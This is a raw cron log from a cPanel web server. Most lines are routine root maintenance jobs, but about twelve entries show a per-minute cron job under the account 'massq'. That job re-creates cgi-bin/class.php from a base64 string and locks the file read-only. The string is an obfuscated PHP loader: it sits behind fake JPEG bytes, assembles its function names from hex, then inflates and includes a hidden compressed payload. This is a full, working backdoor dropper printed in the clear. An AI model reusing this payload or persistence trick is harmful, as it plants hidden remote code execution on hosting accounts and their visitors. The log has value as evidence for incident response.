Aug 31 16:25:01 server CROND[9001]: (root) CMD (/usr/local/cpanel/bin/mysqluserstore >/dev/null 2>&1)
Aug 31 16:26:01 server CROND[9953]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 16:26:01 server CROND[9954]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 16:26:01 server CROND[9955]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 16:27:01 server CROND[10339]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 16:27:01 server CROND[10340]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 16:27:01 server CROND[10338]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 16:27:01 server CROND[10341]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Aug 31 16:28:01 server CROND[10726]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 16:28:01 server CROND[10727]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 16:28:01 server CROND[10728]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 16:29:01 server CROND[11103]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 16:29:01 server CROND[11104]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 16:29:01 server CROND[11105]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 16:30:01 server CROND[11497]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Aug 31 16:30:01 server CROND[11499]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 16:30:01 server CROND[11501]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 31 16:30:01 server CROND[11500]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Aug 31 16:30:01 server CROND[11504]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Aug 31 16:30:01 server CROND[11506]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/scripts/update_db_cache && /usr/local/cpanel/scripts/update_db_cache)
Aug 31 16:30:01 server CROND[11505]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 31 16:30:01 server CROND[11503]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 16:30:01 server CROND[11502]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 16:31:01 server CROND[12467]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 16:31:01 server CROND[12468]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 16:31:01 server CROND[12469]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 16:32:01 server CROND[12855]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 16:32:01 server CROND[12856]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 16:32:01 server CROND[12857]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 16:33:01 server CROND[13264]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 16:33:01 server CROND[13265]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 16:33:01 server CROND[13266]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 16:34:01 server CROND[13639]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 16:34:01 server CROND[13640]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 16:34:01 server CROND[13641]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 16:35:01 server CROND[14058]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 31 16:35:01 server CROND[14059]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 16:35:01 server CROND[14061]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check && /usr/local/cpanel/bin/tail-check)
Aug 31 16:35:01 server CROND[14066]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 16:35:01 server CROND[14065]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Aug 31 16:35:01 server CROND[14067]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Aug 31 16:35:01 server CROND[14068]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 16:35:01 server CROND[14070]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Aug 31 16:35:01 server CROND[14069]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 31 16:36:01 server CROND[15003]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 16:36:01 server CROND[15004]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 16:36:01 server CROND[15005]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 16:37:01 server CROND[15382]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 16:37:01 server CROND[15383]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 16:37:01 server CROND[15384]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
